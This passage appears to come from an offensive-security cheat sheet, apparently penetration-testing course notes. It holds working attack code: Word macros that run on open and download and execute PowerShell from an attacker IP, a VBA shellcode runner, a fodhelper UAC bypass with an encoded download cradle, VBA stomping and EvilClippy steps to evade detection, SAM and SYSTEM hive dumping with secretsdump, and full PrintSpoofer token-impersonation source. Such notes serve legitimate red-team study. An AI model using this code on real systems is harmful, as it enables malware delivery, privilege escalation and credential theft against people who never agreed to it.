  (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
  (getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Trigger from Word Macro&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Trigger from Word Macro&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
Create a macro in Word (See cheatsheet I) and insert code.&lt;br /&gt;
&lt;br /&gt;
If Word is running in 64-bit the code below will need changes.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?40409-VBA-Shellcode-Runner-Compile-Error-Type-Mismatch VBA Shellcode Runner - Compile Error: Type Mismatch (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For the code below to work in 64-bit Word.&lt;br /&gt;
# If you&#039;re still looking for an answer to this, I ran into the same problem but managed to get it working for 64-bit as well. I had to change the three lines below.&lt;br /&gt;
# First, I modified the declare statement for RtlMoveMemory to not return anything anymore and changed it from Function to Sub. I&#039;m not sure why the type needed to change, but Word crashed when I used Function and worked with Sub. The documentation just says Function can return a value, while Sub can&#039;t, so maybe it has to do with my not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Private Declare PtrSafe Sub RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long)&lt;br /&gt;
# Second, I changed the line calling RtlMoveMemory since it&#039;s not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Call RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
# After making these changes it didn&#039;t error on RtlMoveMemory anymore, but instead gave the same mismatch error for CreateThread. That one was fixed by changing the creation statement for the res variable to be a LongPtr instead of Long to match what the declare statement for CreateThread says it will return.&lt;br /&gt;
Code:&lt;br /&gt;
Dim res As LongPtr&lt;br /&gt;
# After these changes and updating the shellcode to be a 64-bit version of meterpreter, the callback worked.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;KERNEL32&amp;quot; (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
Dim buf As Variant&lt;br /&gt;
Dim addr As LongPtr&lt;br /&gt;
Dim counter As Long&lt;br /&gt;
Dim data As Long&lt;br /&gt;
Dim res As Long&lt;br /&gt;
buf = Array(INSERT SHELLCODE HERE)&lt;br /&gt;
addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
data = buf(counter)&lt;br /&gt;
res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
Next counter&lt;br /&gt;
res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Function&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UAC Bypass ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#UAC_Bypass&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Fodhelper.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$yourevilcommand = &#039;powershell.exe -c &amp;quot;IEX(New-Object Net.WebClient).DownloadString(&#039;&#039;http://192.168.45.198/run3.txt&#039;&#039;)&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $yourevilcommand -Force&lt;br /&gt;
&lt;br /&gt;
Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
&lt;br /&gt;
Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force&lt;br /&gt;
&lt;br /&gt;
------------------------&lt;br /&gt;
function RegStuff {&lt;br /&gt;
    $cmd = &amp;quot;C:\Windows\Tasks\foo.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgA2ADgALwByAGUALgBwAHMAMQAnACkA&amp;quot;&lt;br /&gt;
    copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
    New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
    New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
    Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $cmd -Force&lt;br /&gt;
}&lt;br /&gt;
function PrivEsc {&lt;br /&gt;
    Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
    Start-Sleep -s 3&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
}&lt;br /&gt;
RegStuff&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBA Stomping ==&lt;br /&gt;
&lt;br /&gt;
A technique to reduce detection rates by manipulating the VBA macro content in Microsoft Word and Excel documents.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tools&#039;&#039;&#039;:&lt;br /&gt;
&#039;&#039;&#039;Hex Editor&#039;&#039;&#039;: For inspecting contents of unzipped modern files&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FlexHEX&#039;&#039;&#039;: To inspect and edit the files&lt;br /&gt;
&lt;br /&gt;
==== Steps to Perform VBA Stomping ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Shellcode Runner&#039;&#039;&#039;&lt;br /&gt;
Use custom tools to inspect existing shellcode runners.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding File Formats&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Old Format&#039;&#039;&#039;: Compound File Binary Format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;New Format&#039;&#039;&#039;: Similar to .zip files.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using FlexHEX&#039;&#039;&#039;&lt;br /&gt;
Open FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Navigate to  ​File &amp;gt; Open &amp;gt; OLE Compound File​ .&lt;br /&gt;
&lt;br /&gt;
* Open the Word document to inspect it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Macro Information&#039;&#039;&#039;&lt;br /&gt;
For modern files, macros are stored in  ​vbaProject.bin​  inside the zipped archive.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editing Macros&#039;&#039;&#039;&lt;br /&gt;
Edit the  ​PROJECT​  file in the navigator window to remove links to macros, using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding P-Code&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;P-Code&#039;&#039;&#039;: Cached and compiled version of VBA textual code, specific to the Office and VBA version it was created on.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: Used to execute macros faster on the same version of Office, bypassing VBA interpreter translation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performing VBA Stomping&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Goal&#039;&#039;&#039;: Remove VBA source code while retaining P-code to bypass detection but still execute the code.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How&#039;&#039;&#039;:&lt;br /&gt;
Open the document in FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Locate the VBA source code in  ​NewMacros​ .&lt;br /&gt;
&lt;br /&gt;
* Select all bytes from “Attribute VB_Name” and remove it using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* Save and re-compress the document.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Testing&#039;&#039;&#039;&lt;br /&gt;
Open the edited document in Word.&lt;br /&gt;
&lt;br /&gt;
* Note: The VBA source code should be visually removed, but the P-code still executes, enabling the attack to work.&lt;br /&gt;
&lt;br /&gt;
=== Automating VBA Stomping Using Evil Clippy ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/outflanknl/EvilClippy GitHub - outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/ Evil Clippy: MS Office maldoc assistant | Outflank]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Usage Examples&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Print help: &amp;lt;code&amp;gt;EvilClippy.exe -h&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Hide macros from GUI: &amp;lt;code&amp;gt;EvilClippy.exe -g macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Unhide macros: &amp;lt;code&amp;gt;EvilClippy.exe -gg macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stomp VBA (abuse P-code): &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set target Office version for VBA stomping: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set random module names: &amp;lt;code&amp;gt;EvilClippy.exe -r macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Reset random module names: &amp;lt;code&amp;gt;EvilClippy.exe -rr macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Serve a VBA stomped template via HTTP: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -u macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -uu macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Windows Credentials ==&lt;br /&gt;
&lt;br /&gt;
=== SAM database ===&lt;br /&gt;
&lt;br /&gt;
See Cheatsheet I for methods on how to obtain the SAM database and extract the hashes.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Shadow Volume Copy Workaround&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Create a snapshot of the local hard drive using &#039;&#039;&#039;WMIC. &#039;&#039;&#039;Need to launch from an administrative command prompt:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; wmic shadowcopy call create Volume=&#039;C:\&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; vssadmin list shadows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy SAM from shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
Note: Run above command in  ​cmd.exe​ , not in PowerShell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Encrypting SAM Database&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SAM is encrypted by &#039;&#039;&#039;RC4&#039;&#039;&#039; or &#039;&#039;&#039;AES&#039;&#039;&#039;. Encryption keys are in the  ​SYSTEM​  file. Copy SYSTEM file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Save SAM and SYSTEM from Registry&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Using  ​reg save​  command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
C:\&amp;gt; reg save HKLM\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Read SAM, SYSTEM and SECURITY&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
# Or using creddump&lt;br /&gt;
https://github.com/Neohapsis/creddump7&lt;br /&gt;
python pwdump.py /home/kali/system /home/kali/sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Tokens ===&lt;br /&gt;
&lt;br /&gt;
* Access tokens track user&#039;s access rights after authentication.&lt;br /&gt;
&lt;br /&gt;
* They are assigned to each process associated with the user.&lt;br /&gt;
&lt;br /&gt;
* Access tokens are stored inside the kernel, preventing direct modification.&lt;br /&gt;
&lt;br /&gt;
==== PrintSpoofer.exe ====&lt;br /&gt;
&lt;br /&gt;
The code below will open a pipe and wait for a authentication. Instead, you can use PrintSpoofer from itm4n and compile it. This will give SYSTEM shell directly. To evade detection the code can be obfuscated.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/itm4n/PrintSpoofer GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the &amp;quot;Printer Bug&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
* SeImpersonatePrivilege allows us to impersonate any token for which we can get a reference, or&lt;br /&gt;
handle.&lt;br /&gt;
&lt;br /&gt;
* We will use [https://github.com/leechristensen/SpoolSample SpoolSample.exe] to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface.&lt;br /&gt;
&lt;br /&gt;
* We will use the code below to simulate a print client. The code will create a pipe server, wait for a connection, and attempt to impersonate the client that connects to it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Principal;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace PrintSpoofer&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint PIPE_ACCESS_DUPLEX = 0x3;&lt;br /&gt;
        public static uint PIPE_TYPE_BYTE = 0x0;&lt;br /&gt;
        public static uint PIPE_WAIT = 0x0;&lt;br /&gt;
        public static uint TOKEN_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint TOKENUSER = 1;&lt;br /&gt;
        public static uint SECURITY_IMPERSONATION = 2;&lt;br /&gt;
        public static uint TOKEN_PRIMARY = 1;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        public enum CreationFlags&lt;br /&gt;
        {&lt;br /&gt;
            DefaultErrorMode = 0x04000000,&lt;br /&gt;
            NewConsole = 0x00000010,&lt;br /&gt;
            NewProcessGroup = 0x00000200,&lt;br /&gt;
            SeparateWOWVDM = 0x00000800,&lt;br /&gt;
            Suspended = 0x00000004,&lt;br /&gt;
            UnicodeEnvironment = 0x00000400,&lt;br /&gt;
            ExtendedStartupInfoPresent = 0x00080000&lt;br /&gt;
        }&lt;br /&gt;
        public enum LogonFlags&lt;br /&gt;
        {&lt;br /&gt;
            WithProfile = 1,&lt;br /&gt;
            NetCredentialsOnly&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);&lt;br /&gt;
        [DllImport(&amp;quot;Advapi32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr GetCurrentThread();&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool RevertToSelf();&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);&lt;br /&gt;
        [DllImport(&amp;quot;userenv.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Parse arguments (pipe name)&lt;br /&gt;
            if (args.Length != 2)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Please enter the pipe name to be used and the binary to trigger as arguments.\nExample: .\\PrintSpoofer.exe \\\\.\\pipe\\test\\pipe\\spoolss c:\\windows\\tasks\\bin.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            string pipeName = args[0];&lt;br /&gt;
            string binToRun = args[1];&lt;br /&gt;
            // Create our named pipe&lt;br /&gt;
            IntPtr hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero);&lt;br /&gt;
            // Connect to our named pipe and wait for another client to connect&lt;br /&gt;
            Console.WriteLine(&amp;quot;Waiting for client to connect to named pipe...&amp;quot;);&lt;br /&gt;
            bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);&lt;br /&gt;
            // Impersonate the token of the incoming connection&lt;br /&gt;
            result = ImpersonateNamedPipeClient(hPipe);&lt;br /&gt;
            // Open a handle on the impersonated token&lt;br /&gt;
            IntPtr tokenHandle;&lt;br /&gt;
            result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);&lt;br /&gt;
            // Duplicate the stolen token&lt;br /&gt;
            IntPtr sysToken = IntPtr.Zero;&lt;br /&gt;
            DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);&lt;br /&gt;
            // Create an environment block for the non-interactive session&lt;br /&gt;
            IntPtr env = IntPtr.Zero;&lt;br /&gt;
            bool res = CreateEnvironmentBlock(out env, sysToken, false);&lt;br /&gt;
            // Get the impersonated identity and revert to self to ensure we have impersonation privs&lt;br /&gt;
            String name = WindowsIdentity.GetCurrent().Name;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Impersonated user is: {name}.&amp;quot;);&lt;br /&gt;
            RevertToSelf();&lt;br /&gt;
            // Get the system directory&lt;br /&gt;
            StringBuilder sbSystemDir = new StringBuilder(256);&lt;br /&gt;
            uint res1 = GetSystemDirectory(sbSystemDir, 256);&lt;br /&gt;
            // Spawn a new process with the duplicated token, a desktop session, and the created profile&lt;br /&gt;
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();&lt;br /&gt;
            STARTUPINFO sInfo = new STARTUPINFO();&lt;br /&gt;
            sInfo.cb = Marshal.SizeOf(sInfo);&lt;br /&gt;
            sInfo.lpDesktop = &amp;quot;WinSta0\\Default&amp;quot;;&lt;br /&gt;
            CreateProcessWithTokenW(sysToken, LogonFlags.WithProfile, null, binToRun, CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Executed &#039;{binToRun}&#039; with impersonated token!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Compile the code (PrintSpoofer.exe) above and compile a meterpreter reverse shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Transfer to target.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Start the&#039;&#039;&#039; &#039;&#039;&#039;PrintSpoofer.exe&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Specify the meterpreter binary&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PrintSpoofer.exe \\.\pipe\test\pipe\spoolss C:windows\tasts\bin.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Coerce Windows to authenticate&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Use SpoolSample.exe to authenticate.&lt;br /&gt;
&lt;br /&gt;
* When a file path is supplied to a Win32 API, directory separators are converted to a canonical form. Forward slashes (“/”) are converted to backward slashes (“\”). This process is known as file path normalization.&lt;br /&gt;
&lt;br /&gt;
* If &amp;lt;code&amp;gt;SpoolSample&amp;lt;/code&amp;gt; is provided with a pipe name containing a forward slash after the hostname (e.g., “appsrv01/test”), the spooler service appends the default name “pipe\spoolss” before processing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SpoolSample.exe appsrv01 appsrv01/pipe/test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 4 - bin.exe executed in the context of impersonated token&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Using Meterpreter to impersonate users ====&lt;br /&gt;
&lt;br /&gt;
